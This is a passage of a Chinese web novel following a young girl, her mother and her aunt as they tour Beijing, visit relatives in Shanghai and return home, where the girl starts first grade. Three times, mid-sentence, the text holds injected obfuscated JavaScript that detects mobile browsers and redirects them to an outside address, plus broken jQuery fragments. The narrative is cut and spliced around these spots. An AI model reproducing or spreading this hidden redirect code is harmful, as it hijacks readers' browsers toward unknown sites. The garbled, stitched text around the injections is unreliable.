升旗看了，英雄纪念碑看了，领袖纪念馆瞻仰了，天安门外照相了。 纪念馆外人群排成弯曲的长龙，虽然大家都在缓步前进，但队伍好像根本动不了一样。 排队两小时，曕仰一分钟，不允许拍照也不许停留，四周都有高大威武的持枪警卫。大家沉默环行一周就出来了，很多人是红着眼睛擦着眼泪离开的。 马丽丽是被妈妈抱着出来的，出来后只听得室内传来一阵响亮的哭嚎声，不多时，一个嚎啕大哭的大娘被她的儿子和一个工作人员搀扶了出来，工作人员熟练的带着他们从另一个小门离开了。 大娘的悲伤感染了许多人，很快队伍中也出现了轻轻的抽泣声。 出来后大家情绪都有些低落，好在不远就是纪念碑。这里现在还是开放景点，许多人累了就直接睡在石头台阶上，徐明惠找了个阴凉处铺开塑料布，大家都喝点水好好休息了一下。 等到了天安门，徐明惠又情绪高涨的开始照相，先是两两组合，然后三人合影。在黑白照和彩照之间妈妈毫不犹豫的选择了彩照，一下就贡献了不少小钱钱。 既然来了首都，就有一些地方是必须要去的。 皇家宫殿看了，皇家园林逛了。 坐在水泥花坛边，三人啃着馒头喝着凉水，就着湖里永远都不能开出去的石头画舫简单干掉了午餐。她们倒是想上去看看，可是画舫上人太多，徐明惠觉得有点危险，万一马丽丽被挤下水可咋办。 不是公园里的小吃买不起，只是馒头更有性价比。 42.第四十二章 不光是徐明惠这么想，一路上坐在台阶上、花坛边、长廊里啃干粮的人不老少，大家一边吃还一边操着天南海北的方言聊天呢。 持续了两天特种兵式的游玩，第三天徐明红和马丽丽变成了小废物，死活起不来床了，腿软脚痛的。徐明惠原本还打算去长城爬一爬呢，也只好歇了了，总不能她一个人去吧？ “看你俩这没用的样，能干啥呀，出来玩就光躺着了，还不如在家躺着呢。”徐明惠指指点点。 徐明红：…… 马丽丽：…… 无法反驳。 躺了小半天，好不容易缓过劲来，徐明惠提议去逛街，正好看看首都人民平时都吃什么呢。 三人坐着公交车一路向前，徐明红对首都的公交很感兴趣，她之前坐过的公交车都是短短一截车厢，可是首都的公交是两截车厢，中间用一段胶皮连接，跟手风琴似的能拉伸，她觉得很有意思。 马丽丽却觉得有点不对劲，她们住的宾馆就在二环，应该离王府井大街不远的呀，怎么坐了这么半天还没到？ “各位乘客，北京大学西门，到了，请大家……” “走走走，到了！”徐明惠拉着两人挤下了车，她带着走向首都大学的大门口，十分感慨，“看看，首都大学，啧，这气派，这氛围，这可是我们国家最好的大学了。小红是没什么机会了，丽丽，你可要努力啊，认真读书，以后争取考到这儿来，到时候妈也可以跟着你一起到里面看看。哎，这边也没有个帮照相的点儿的吗？” 来往的路人闻言，都望了过来，见是一个青年妈妈在鼓励自己的小女儿，大家都会心一笑。 马丽丽超级无语der，旅游就旅游，玩耍就玩耍，好好的干嘛突然鸡娃我？她超大声的说：“妈，那你以前没在这里读大学，是因为不喜欢吗？” 徐明惠愣了一下，扛起马丽丽就跑，徐明红憋着笑跟着快步离开。 跑到附近的树下，徐明惠把马丽丽放下来，她都快被女儿给气死了，“叫这么响干什么，什么喜欢不喜欢的，我是不喜欢吗？个死孩子，你就气我吧。” 马丽丽：“不是说好逛街吃好吃的吗？那你干嘛带我们来这里？这附近有哪儿能逛的？咱们不是去王府井吗？” “吃吃吃，就知道吃。”徐明惠用手扇了扇，有些犯愁，她也是脑子一热就带着俩人来这里的，这会儿也不知道该去哪。 徐明红站在阴凉处，敬畏又羡慕的看着首都大学门口进出的人们。 首都大学可谓是青年的思想前沿阵地，往来的人们也是各有特色，有成群步行的，也有骑着自行车的，还有一个老人家骑着一辆奇怪的自行车从门里出来，自行车的旁边竟然加了个带棚的斗，里面坐着一个小孩。 女孩子有的穿着简单的短袖衬衣+半截裙，梳着两条大辫子，跟幸福小镇的女孩没什么不一样，有的却留着披肩发，烫了新流行的发型——今年已经不流行像徐明惠头上的这种小卷发，而是流行更大的卷。她们穿着新款的连衣裙，踩着小高跟，戴着□□镜，十分的时髦。 男人们就显得朴素了许多，或者说，有些古怪，他们有的看起来有些邋遢，大黑眼镜、头发凌乱、胡子拉碴，有的看起来很阳光青年十分热血，有的打扮得很斯文，一副精英派头，当然也有一看就是教授模样的人。 大部分进出的人都有一股昂首向上的劲儿，似乎特别自信，又特别自豪。 望着这些人，徐明红突然自卑心爆棚，感觉别人看过来的眼神都特别奇怪。 徐明惠也看出来了，这大学附近可能有吃饭的地方，但肯定没有逛街的地方，不太行。 马丽丽根本就不想来，这几年首都的大学生们思想动态不太稳定，过几年还会搞一个大事，危险危险危险，这么一想，感觉进出的年轻人仿佛都有点怪怪的。 三人想法统一，于是又坐公交车去了大栅栏。 一下车便立刻感觉从阳春白雪到了下里巴人，前门大街和大栅栏不管什么时候都熙熙攘攘，充满了烟火气。 一上午啥都没干，就光坐公交车折腾了几个小时，三人早就又累又饿了。刚走到街口，一抬头就是一家烤鸭店，徐明惠当即就做了决定：“走就这家了，来了首都咋能不吃烤鸭呢？” 可是拿到菜单的时候，徐明惠就后悔了，这价格，真肉痛啊。可惜她脸皮薄，不好意思放下菜单抬腿走人，只好看着哪个便宜点哪个，只点了两个就放下菜单。 “能下饭够吃就行，这菜还能当饱啊？” 徐明红和马丽丽可不知道徐明惠的心理，只觉得烤鸭真好吃呀，不愧是首都名菜，吧唧吧唧。 行吧。 出来后，徐明红摸着肚子，后知后觉，“好吃是好吃，就是有点少，我怎么感觉好像没多饱？” 我想了一下，马丽丽十分肯定的说：“饭碗小了，一碗饭没家里的多。” 徐明惠十分嫌弃她俩，“你说说你俩，吃个饭还没能吃饱，钱都白花了。” “可是鸭子好吃就行，我们不是来吃烤鸭的吗？”马丽丽说，“正好还能吃点别的。” “还吃什么吃啊，哪有这么多钱？行了，咱们逛逛街，晚饭再说吧。”徐明惠拿着张纸扇了扇风，“走吧。” 街上的房子都是老房子，前头是店面后面是作坊那种。一条主街不算长，但铺子摊子特别多，有卖布的、卖药的、卖小百货的、卖食品的、卖酱菜的……还有电影院、茶馆、旅馆、邮局。 两边的小楼还住着人，其中有好些名人故居，都是本地人嘴里的谈资。 徐明惠倒是疯狂心动的想买买买，可是钱包限制了她的发挥。 “妈，给。”马丽丽递给徐明惠十三块钱。 “你手上还有钱？”徐明惠不客气的接过来塞到口袋里，“还有多少都给我。” “钱钱钱，一天到晚就知道问我一个小孩子要钱，哼，早知道不给你了。”马丽丽又从小钱包里出一张五块的，“小姨，这钱给你，咱一会去买冰棒吃。” “好的，谢谢马丽丽小朋友。”徐明红超开心的把钱拽在手心里 趁着马丽丽打开钱包，徐明惠偷偷看了一眼，里头还有一张五块的和几个钢蹦。 行吧，还挺大方，徐明惠决定不管了，这五块钱她爱咋花咋花吧。 钱不多，特产还是得买的，前门卖点心的很多，马丽丽徐明红都想买，可是糕点不经放，那就买点经放的，比如蜜饯呀，酱菜呀什么的，能带回家去。 马丽丽坚决反对买蜜饯果脯，这玩意儿真的太甜了，而且好吃的果子做的挺贵，便宜的都是什么冬瓜条、莲藕片之类，这还能叫果脯吗？明明是菜脯。 徐明惠才不管她呢，这都是当特产买回去吃个新鲜的，好不好吃的，还能买多少啊？ 蜜饯买了，酱菜买了，还有马丽丽强烈要求的驴打滚也买了。 冰棍吃了，奶酪吃了，徐明红十分好奇的豆汁也喝了，yue……灌了大半瓶冻在大冰坨子里的汽水才压下去。 “我的妈呀，这豆汁肯定是馊了。”徐明红惊魂未定，旁边摇着蒲扇的大哥笑了，“姑娘是外地来的吧？咱这豆汁儿就是这味儿，哎，姑娘你是不会喝。” 马丽丽早有先见之明，就闻了闻，没喝，“反正我是不喜欢，一股臭脚丫子鞋垫拧出来的汁味。” “嘿，外地人。” 徐明惠努力控制自己不去回想，结果被马丽丽一说，“yue，不行不行，给我再来一口汽水。” 饱受摧残的两姐妹身心俱疲，前头正好是一家中药店，门口放着有一个石条凳，她们顾不上石头被晒得滚烫，赶紧走过去坐下休息会儿。 这可是家中华老字号，马丽丽趁着两姐妹在坐着休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走到跟前才发现这热闹好像不大好看，难怪就近围观的人不多，马丽丽和徐明红也站在几步外，听了半天，马丽丽有点明白了。 事情本来挺简单，一边是两对美丽国的夫妻，他们对一个中国老大娘的打扮很感兴趣，希望能跟她照个相，如果可以还想问问她一些配饰是在哪买的。另一边的大娘一身夏布的旧式褂子，头发梳得整齐油亮，上面还插着一根银色的发簪，手上戴着一个刻花的银镯子，向下看竟还是裹着小脚的。大娘身边还跟着一个高头大汉，看样子是她儿子。 两方是听不懂对方在说什么，不过瞧样子美丽国夫妻身边好像还跟着一个东方人翻译。 要马丽丽说，这个翻译很有问题，对着大娘说的话也感觉怪怪的，什么“我们会付钱的，您肯定不吃亏。”“我们没有恶意，这位可是美丽国人，史密斯先生，您还怕什么呢？”转头对着美丽国人又是另一付嘴脸，“史密斯先生，梅根先生，这位种花家老夫人拒绝了，老人家没什么文化，请多包涵，也有可能是钱少了，我再试试吧。” 呸！ 这话说的什么鬼？挑拨离间是吧？破坏两国友谊是吧？这翻译口音听着，小鬼子吧？ 马丽丽觉得自己这爆脾气可忍不了。 这时人大娘要走，小鬼子还想拦着，大娘儿子都准备上前了，围观的人也跃跃欲试的，气氛一下子紧张了起来，四个美丽国人还一脸懵逼呢。 马丽丽正要喊起来，突然旁边走出来一个浓眉大眼的帅哥，只见他操着一口流利的英语 对着那两对美丽国夫妻解释起来。 切，解释个毛。 马丽丽就对大娘喊：“大娘，那俩男老外说想跟你照相，那个棕头发女的说你发簪好看，她想问你哪买。那翻译官儿故意乱说，他是个小日……小日子过的不错的小本子。” 大家看向翻译的眼神顿时就不好，唯有帅哥看了马丽丽一眼，马丽丽望天，她又没说错。 帅哥拿出学生证，他是首都外国语学院的，还是学生会成员，一个人把场面搞定。 “走了走了。”徐明惠过来拉着马丽丽和徐明红赶紧溜了，不然还等着人家说谢谢啊？ 徐明红还挺感慨，“不愧是首都，还有外国人逛街，啧。” 43.第四十三章 在首都玩了三天，终于要回家了。 徐明惠买了去沪市的火车票，等找到大老dia家的时候已经是吃过晚饭的时候了。 大老dia马如生夫妇和大儿子一家住在一起，屋子地段很好，离外滩就隔了几条街，但是弄堂很破旧，也很潮湿，六口人住在一楼小小的两室一厅里有些拥挤，不过见到亲戚大家都挺热情，也很好奇。 简单对付了两口晚饭，徐明惠拿出公公写的信，里面还有冬天时照的全家福相片。 马如生很久没有接到过弟弟的消息了，他在一边看信，妻子王雅茹就握着徐明惠的手问家里头的情况，马丽丽仗着自己是小孩子到处溜达。 其实也没啥可溜达的，这么小一房子，除了房间就只有厨房，卫生间是没有卫生间的，就是用便盆这个亚子。 厨房里除了锅碗瓢盆，竟然还养了一只龟和一只鳖，一只大乌龟在厨房狭小的地面慢慢踱着步，见有人进来立刻趴在地上不动不动，而甲鱼则养在一个水缸里。 大堂姐马梦研走了过来，难得见到外地来的亲戚，她对这个妹妹还是挺好奇的。 “你可以站在它身上，没事。”马梦研开口对马丽丽说。 “啊，哦。”马丽丽有点拘谨，这个堂姐她完全没有印象，原来她们小时候还见过呢。 马丽丽看了看趴在地上的乌龟，有点不确定要怎么站上去，一旁的马梦研伸出手来，扶着她踩了上去。乌龟似乎早就习惯小主人们这么跟它玩了，感觉到背上的重量，原本趴在地上的乌龟竟然慢慢伸出头和四肢站了起来，还慢慢的向前爬。 “哇！哇！”马丽丽新奇的叫起来，这个有意思哎，“好厉害哎，这乌龟有名字吗？” 马梦研也开心起来，“它叫大龟，那是小龟。”她指了指缸里。 小龟也不小，不过问题是那是只王八吧？ “那，那是甲鱼吧？” 马梦研不以为然的说，“啊，那个啊，是甲鱼，不过它的名字叫小龟。” “哦，这样啊。” 马梦研又神秘兮兮的告诉堂妹，“是老dia啦，他说以前他小时候的家里就养了一只大乌龟和甲鱼，所以我们现在也养了。” 有道是千年的王八万年的龟，老dia家以前还挺讲究。 马丽丽慢慢的跳起来，马梦研又熟练的站了上去，两句话的功夫两个女孩算是有些熟悉了，马梦研问道：“哎我还不知道你叫啥呢，你是我们哪家的亲戚啊？” 马丽丽：“我叫马丽丽，我老dia是你老dia的弟弟，我要叫你老dia大老dia，你应该是我隔房的堂姐，我要叫你爸爸堂叔。” 马梦研已经被绕晕了，马丽丽就伸手给她比划，“你看我两个手，就是两兄弟，一个是你老dia，一个是我老dia，然后这个就是我爸，这个就是你爸……明白了不？”再比划下去手指可不分岔了。 马梦研已经明白了，“好复杂呀。” 马丽丽叹了口气，“等我们以后有小孩，那就差不多是远亲了呀。” 只听厨房门口有人噗呲笑了出来，两小姑娘回头，原来是婶婶李丽华，她笑道：“哎呦，侬两个还是小姑娘就讲什么小孩，你们自己都还是小孩子呢。”她又对马丽丽说：“侬个小姑娘脑子好灵醒的哦，这个亲戚关系关系你还绕得蛮清楚的唻，侬晓得叫我什么吧？”说话间带着本地人特有的吴侬软语词汇，还好马丽丽听的懂。 “我要叫婶婶吧？” “哎呦，对啦。” 李丽华对突然上门来的这个丈夫家的亲戚没什么恶感，反正就住一个晚上，能麻烦到哪去？更何况还是个知礼的，没空着手上门，虽然只是两盒在首都买的糕点蜜饯，但礼轻情谊重，比那谁和那谁来，真是好多了。 家里地方实在小，马天清夫妇带着孩子只能临时在客厅搭了个床，房间让给客人住了一晚。 第二天吃了早饭，徐明惠就告辞了，她撒了个小谎说火车是十点半，早点去还能逛逛，其实火车是中午两点多，但留久了不太合适。 三人出来后先慢步去外滩瞧了瞧，一大早上下班的人挺多，路上都是骑着自行车的人。走了两条街就是外滩，这里也有不少游人。有历史感的建筑下，都还开着店呢，也没有经过翻新和修复，看起来旧旧的样子。河面上飘着的轻雾还没有完全散去，来去的公交车却已经挤得水泄不通。 错过了上班高峰期之后，徐明惠才带着妹妹和女儿去了城隍庙，为了省钱，她提议走着去，可把徐明红和马丽丽累得够呛，才到城隍庙两人肚子都咕咕叫起来，早上吃的早饭全消化了。在两人强烈的要求和反抗下，徐明惠只好在附近找了家早餐店吃了两笼包子又喝了豆浆吃了油条，一套补餐下来可比车票贵多了。 徐明惠：……亏了！ 打卡了城隍庙，吃了小吃，买了兰花豆，又在附近逛了逛，找了家店吃了午饭又准备了干粮和零食，徐明惠终于心满意足的带着两人去了火车站。 沪市有一趟车直达八一市，这回没有再路过什么地方了。 回来后马丽丽可就开始忙了。 这次回老家经历可谓多姿多彩，那还不得跟爸爸说一遍？跟爸爸说了还不得跟姥姥姥爷说一遍？家里人都说了，教自己外语的孙爷爷那边还不得说一遍？ 还真别说，在给安德鲁做翻译后，马丽丽很明显感觉自己好像开窍了，听俄语广播的时候也不因为一两个词纠结以至于错过后面的话了，以前老是觉得跟不上语速，现在感觉也行了。回想一下第一次在火车给安德鲁做翻译，有点磕碜，第二次就流利多了。 马丽丽还现场给孙振华展示了一下自己最近练习的结果，这嘴皮子上下翻飞噼里啪啦一阵忙得，就跟口渴喝了热水，烫嘴又不能吐似的。 孙振华：鼓掌鼓掌。 “孙爷爷，怎么样？” 孙爷爷还没说什么，田奶奶先说了。 “哎呦喂，这话说的烫嘴唷，也不怕把舌头咬了。” “啊哈哈哈，不会吧……应该。” 孙爷爷白了自己夫人一眼，对马丽丽说：“这次干得不错，咱们学的东西就应该用起来，别怕自己做的不够好，也不怕出错，错了改就是了，不好努力就是了，要是怕这怕那的，怎么提高自己？你这次就做的很好，是个勇敢的小朋友。” 马丽丽：“嘿嘿嘿嘿。” 这次马丽丽给孙爷爷田奶奶都买了礼物，一个是贝壳做的小摆件，一个是绸缎做的香包，都是做翻译挣的钱买的，不过这个就没有告诉他们了。 “哎呦，好香，谢谢丽丽啦。”田奶奶闻了闻，有薄荷味，还有一些说不出的香味，挺清爽的，现在天热的时候闻一闻有种静心的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122430|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，挺不错，是用了心的，她非常喜欢。 孙爷爷摆弄了一番小摆件，看不出喜恶又放下，说：“马丽丽，我听说今年开学了你也要读一年级？早了一年，不过没关系，读书是件重要的事，我也有礼物要送给你。”他站起来去房间，拿出一……本《成语词典》和一本字帖送给马丽丽。 呃，孙爷爷的礼物总是那么实在。 “对你来说一年级肯定是简单了，不过咱们也可以多学点，我看你的字认的挺多，但写的差了点，练练字，对你以后有好处。” “好吧。” “这俄语英语也不断，以后还是周末到我这里来，我看可以开始练习写作了，外语光会说还不行，说的话跟写出来的很不一样，咱们以后就学这个了。” “好咧。” 徐明红回家后没两天就收到了她的录取通知书，这可把她高兴坏了，这么久的努力没有白费。徐高远早就跟爸妈透露了这个好消息，但等徐明红回来，大家还是庆祝了一场好好吃了一顿。 接下来就是差不多半个月的准备时间，然后八月底就得提前去报到。九月份入学还是热的时候，夏天的衣服少不了，之后又是秋天，冬天才放寒假，电校在八一市，那里的冬天比这边冷多了，所以保暖的厚衣服都得带齐，当然鞋袜可千万不能漏了。 徐明红嫌弃二哥用过的褥子被子，家里又抓紧给她弹了一床合适大小的褥子，和用惯的被子枕头全卷成了一个大包。 其他的生活用品一个也不能少，饭盒筷勺、盆桶壶杯、牙刷毛巾、香皂肥皂…… “干嘛带这么多，到那买不行吗？”徐明红觉得行李也太重了。 “你这就不懂了吧。”徐明惠充分展现了自己的收纳天分，“大多数学校都在郊区，附近啥都没有，说不好就一家店东西还贵的很，你这些日常用的都得看好，丢了坏了被人偷了，到时候买都不好买，搞不好还得没课的时候坐公交去城里买，麻烦着呢。” “啊？这还有人偷呢？” “怎么没有？”徐高远在一旁袖着手道，“被偷了还不一定能抓到，所以你的保温壶啊什么的最好都做上记号，什么香皂肥皂洗头膏平时都放好，不然少了你找谁去？都是一个寝室的，你好意思因为一点用的跟人翻脸？特别是值钱的东西，一定要锁好。” “啊？有锁的地方吗？” “应该会有柜子，到时自己带锁去。” “嘿嘿。”徐明红鬼笑了一下，“小哥，你这么有经验，是不是你们寝室以前也有偷用你香皂的人？” 徐高远嗤笑了一声，“你以为？哪个寝室都有。到外头自己可长点心，别傻乎乎的人家说点好听的你就以为是好人，这表面上的好人，心里头还不知道想怎么使坏呢。” “好了好了高远，别因为一点事就觉得别人都是坏人了，咱们小红也没那么笨，不然也考不上电校了。” 徐高远嘟囔，“那还不是我的功劳，哼。” 徐明惠转头又对徐明红说：“你小哥说的也对，对外人都得保留着点，别什么事都对人说，存折啊钱啊身份证啊，这都要保管好。出了事一定要告诉老师，有紧急的事就打电话，这个是你姐夫医务所的电话，他们那都有人值班，有人接电话的。还有别忘了每个月给家里写信，家里地址我也写上了。” “哎，我知道了知道了。” 44.第四十四章 徐明惠心中叹了口气，这个妹妹就比自己女儿大十岁，自己要早十年结婚都能把她给生出来，总觉得她还小着呢。 作为妈妈的正牌女儿，马丽丽大方的把自己手头上剩下的钱都换成零钱支援给了小姨，穷家富路嘛，其实也没多少，也算一点心意。 马丽丽没钱了，不慌，她早就有了想法。 说起来马丽丽也曾经是一个小说爱好者，从纸质的到网络的，自然也忍不住自己写过,从手写到打字，甚至还曾怀疑过习惯手写的自己可能没办法习惯用电脑打字，当然后来是真香了。 这回她打算重操旧业。 先做点准备吧，吃完晚饭，马丽丽拿着自己做的笔袋和小本子，冲徐明惠喊了一声：“妈，我要去文化宫图书馆。” “别回来太晚。”徐明惠一边收拾桌子一边说。 “晓得了。” 文化宫就在马天华上班的医务所对面，走路过去两分钟。一路上人还挺多，有的是饭后带着家人慢悠悠的散步，有的是匆匆赶去上晚班，还有走读的学生回学校上晚自习。 工人文化宫整体建筑就是一个“工”字形，中间的“丨”是过道，两边的“一”，一个是电视房，晚上经常会组织热热闹闹舞会等活动，一个是图书馆，附带安安静静的阅览室。 阅览室中间摆着几个沉重的长桌长凳，长桌上均匀的打了钉子和绳子，用来栓杂志。《今古传奇》《故事会》《大众电影》《电影世界》《妇女生活》《中国青年》《海外文摘》《读者文摘》《知识就是力量》《奥秘》《儿童文学》《少年文艺》……总之除了专业性杂志，一般大众杂志画报甚至儿童杂志图书馆都订了，有一些摆不了的可以直接到图书馆窗口问管理员借。 图书馆除了报纸杂志，还有不少小说，近几年流行港台言情和武侠小说，什么四大言情作家、四大武侠大师，图书馆都进了全套，不过每部最多只有两三套，爱看小说的人时常都会来问问自己看的下一集还了没有。 小说杂志需要太多字，撇除，马丽丽打算先挑一些只需要小方块的杂志报纸投稿，但是找哪些才好？这是个学问。 流行的、热门的杂志和报纸，审稿自然严格又难进，但通常只要采用了就有稿费。小或冷门杂志要求也许没那么高，但是有一些可能并没有稿费，采用也只给寄个样刊而已。 除了稿费，还有很重要的一件事。在没有电脑没有网络的年代，一份稿件很有可能要十天半个月甚至好几个月才能知道结果——是采用，是寄回修改，还是退稿。 所以有哪些靠谱的杂志报纸，这就得好好研究研究了。 当然，马丽丽可不会傻傻在一颗树上吊死，她决定还是尽可能多写几篇，多投几个，遍地撒网嘛，能在哪捞到鱼就在哪捞鱼。 想当“海王”，也是有技巧的，比如可以一个设定写几个不一样的文这个亚子。 好比写一家子，就不能光写一家子。 写婆媳矛盾丈夫不作为，最后妻离子散的，可以投给喜欢猎奇文字的杂志。 写丈夫在家不管事妻子对婚姻失望，婆婆都看不下去最后在居委会大家的帮助下丈夫醒悟的，可以投给报纸。 写丈夫是个妈宝男，妻子干脆把自己也化身成妈宝女，最后丈夫终于决定努力改变的，可以投给妇女杂志。 父母吵架冷战孩子想方设法让父母和好的，可以投给儿童杂志。 一家多用，节省得嘞。 真开始写起来，马丽丽发现，她灵感是有，但手写也是真痛苦，好想念有电脑打字的时候，一天码字几千一万，一朝回到解放前，纯手写一天才几百，这还是潦草写的草稿，等要认认真真写到格子纸上的话，估计三个小时才能写八百字。 问题不大，反正也不急，马丽丽习惯先写好，过段时间再重新看，然后会发现写的不好的地方再修改，改几次后才抄到稿纸上。 稿纸是马丽丽问小舅舅要的，学校里老师经常需要用这个，徐高远也不问马丽丽干嘛不朝他姐要，直接带了一本给她。 这可方便了马丽丽，她虽然写字没问题，但手指太短，钢笔操作不熟练，总是写错字或是写糊，只要写坏了一个字这页就不能用了。 “可恶啊！”马丽丽把笔一扔，“算了，我还是先练练吧。” 年龄太小，硬件设施不达标，真是费劲啊。 发现短期不能见着成果，马丽丽的一脑门子热血降温不少。 徐明惠送妹妹去学校回来，赶上了女儿的开学式，马丽丽人生的第一件大事终于要开始了。 九月一号，马丽丽第一次跟着妈妈一大早就去学校，她们去的时间提前了一些，徐明惠做为班主任今天得早些到。 “好好听老师的话，知道吗？” “知道了。” 徐明惠是初中老师，把马丽丽交给她的班主任后，就先走了。 马丽丽的班主任也是之前入学考试的监考老师之一，姓张，教数学，马丽丽小从就跟妈妈来学校玩，自然也是认识她的。 “张老师好。” “马丽丽好，哎呀，时间好快，你也上一年级了，好了，你们是这个教室，你可以先在教室等一等，其他人应该也快来了。” “好的。” 今天入学第一天是不上课的，马丽丽带了个旧的书包来装课本，还自带了抹布。 一年级教室就在老师的办公室隔壁，门口排水沟旁有水龙头，马丽丽打湿抹布，把正中间第一排的桌子凳子擦了擦。 她数过桌凳，双人桌，三排五列，最多三十个学生，即便桌子摆得开，教室后也空了一小半。 不过这也是常态啦，本来子弟学校的小学就大多是电厂和林场的职工子女，再加上少数几个幸福小镇本地镇民的孩子，等上了初中后，就会加入几里外另两个乡村民办小学考上来的学生，人数才会多一点。 幸福小镇建在一个大山凹里，林场的住宅区就建在一个大山坡上，而子弟学校则在这个大山坡脚上，前面就是幸福小镇唯一的街道。 整个学校好像一个巨大的阶梯，第一层是水泥篮球场和乒乓球台，围绕着篮球场的是做为宿舍的木制筒子楼、小学部教学楼和带着旗杆的水泥演讲台。 第二层是沙土大操场，这里有非常足够的活动空间，通常也是上体育课的地方，装备有一些固定的体育用具，沙坑、单杠、双杠、排杠和篮球架。 大操场隔开了小学部教学楼和其他的区域，大操场的另一边是另一个作为老师宿舍的筒子楼，旁边就是食堂、开水房、洗澡房。 沿着大操场旁边的大楼梯上去就是第三层，这里是中学部，一栋两层大教学楼，楼下是初中部，楼上是高中部。 中学部的老师们有单独的办公室楼，不像小学部的老师，办公室也在教学楼里。 学校领导的办公室便在办公环境稍差的一楼，二三楼是老师办公室，四楼是会议室。 办公楼小小的楼梯间里，有一个油墨印刷室。全校学生的考试卷都是由老师手写出来后，在这里自己动手印刷出来的。 马丽丽现在读的小学楼位于Y轴上，一楼对着篮球场，有图书馆、阅览室和音乐/舞蹈教室，二楼是低年级部，有低年级部老师办公室、一二三年级教室，三楼是高年级部，有高年级部老师办公室、四五年级教室。 擦完桌凳，马丽丽特地把自己的书包放在座位上自己到外面溜达了一圈，别的年级也有不少早早就来学校的小学生。 回来之后马丽丽发现一年级教室里也已经到了不少家长和小朋友，自己看好的桌子倒没人抢，但搭在桌子上的抹布已经被人拿走了。 “小朋友，你来的可真早，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126433|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫什么名字？”一个不认识的家长把自己女儿按在双人桌的另一个位置上，“这是刘小艳，你们俩以后做同桌吧？” 马丽丽不置可否，“叔叔，我叫马丽丽，我刚才看别的年级，人家都是男女同桌，我们可能也是，要不你让刘小艳坐我隔壁桌吧？” “让她坐你后面。”那位爸爸立刻把自己女儿提到第二排，马丽丽身后的空位，还叮嘱道：“刘小艳，以后跟同学要好好相处，知道吗？” “知道了爸爸，你快上班去吧。”刘小艳不耐烦的回答，她觉得在其他女孩子面前被老爸提来提去的，真的很丢脸。刘爸爸最后依依不舍的走了。 喜欢踩点来的家长在最后几分钟把自家小孩塞进剩下的位置又匆匆离开，班主任张老师和语文叶老师站在门口这才进来。 “大家都安静，安静。”张老师表情可不像刚才见到马丽丽时那样亲切了，她拿着一根竹子教鞭敲了敲黑板，小朋友们顿时都噤若寒蝉的安静坐好，一看就是受过托儿所训练的人。 张老师满意的点点头，又用教鞭点了点讲台，“大家都排队站在过道上，男的一排，女的一排，矮的站前面，高的站后面。” 大家立刻又热热闹闹的站了起来，一会有人嚷嚷“你比我高，你站我后面”，一会有人叫喊“你是男的要站那边”，教室里跟开了锅似的。两位老师也走下来帮大家站好。 等所有人都站得差不多了，张老师又敲敲教鞭让大家安静，说：“好了，大家就按这样排队，大家都去操场上，等下我们要升旗，升旗的时候大家都不可以吵闹，知道了吗？” “知道了。”所有孩子一起回答。 这时其他班级已经开始排队去操场了，叶老师站在门口等三年级走得差不多了，马上对张老师说：“我们走了。” “走走，大家排好队，不要讲话。” 两位老师一左一右夹着两排不知所措的小朋友向着操场进发。 马丽丽十分淡定，在矮这方面她跟朱莉莉不分伯仲，张老师让她站在第一个，朱莉莉站第二个，刘小艳比她俩高，已经站到五六个人后面去了。 一听张老师说走，马丽丽也小声说：“跟我走。”朱莉莉立刻熟练的牵起了她的衣角。 男队第一个也是电厂的小朋友，叫郝伟，也是熟悉的，听到马丽丽的话，也熟络的牵起了马丽丽的手，跟着她一起向前走。 前面打头的一动，后面的孩子自然也跟着动了起来，马丽丽只觉得自己好像带着一群小鸡的老母鸡，后面跟着一群叽叽喳喳的小鸡。 一年级不出岔子的站在了指定的位置，两个老师也松了口气，她俩来回走了几趟，轻声训斥了几个说小话的孩子，大家总算都安静了下来。 然后是升旗仪式，校长训话，又欢迎了新加入的一年级新同学，结束后老师们又指挥着学生们，以小学一年级和初中一年级打头，分别回到教室。 “好了，同学们，大家还是分站两边，我们要排座位了。” 待大家站好，张老师按高矮顺序，男女同桌，把大家塞进了座位里。 马丽丽不出意外的坐回了她之前就选好的位置，第一排正中间，她的同桌就是郝伟，朱莉莉在她的隔壁，中间隔了一个雷兵兵，朱莉莉特别不满意。 郝伟的另一边是林灵，再过去的男孩子叫周磊。 第一排的小矮子们都是提前入学的，大家还没有身高焦虑，反倒觉得坐在前面是老师重视的表示。 张老师哪管这些，统统都按高矮顺序分好，她满意的回到讲台，对大家说：“以后大家就按这个顺序坐，第一组第二组第三组，每个星期整组向这边换位置”，她向窗户的方向挥手，“大家听懂了吗？” 其他学生都没反应，只有马丽丽和另一个女孩子说：“听懂了。” 张老师：行吧，慢慢教。 45.第四十五章 这时突然有一个男老师站在门口说：“张老师，麻烦你出来一下。” 张老师：？ 跟着出去了一会儿后，张老师带着一个足有十五六岁的女孩从后门进来，所有人“刷”的一起扭头看过去。 女孩穿着一件灰蓝色的格子衬衣黑色打着补丁的长裤，一个抬着一张双人桌，张老师提着一个长凳，示意女孩将桌子放在中间那一排的最后。 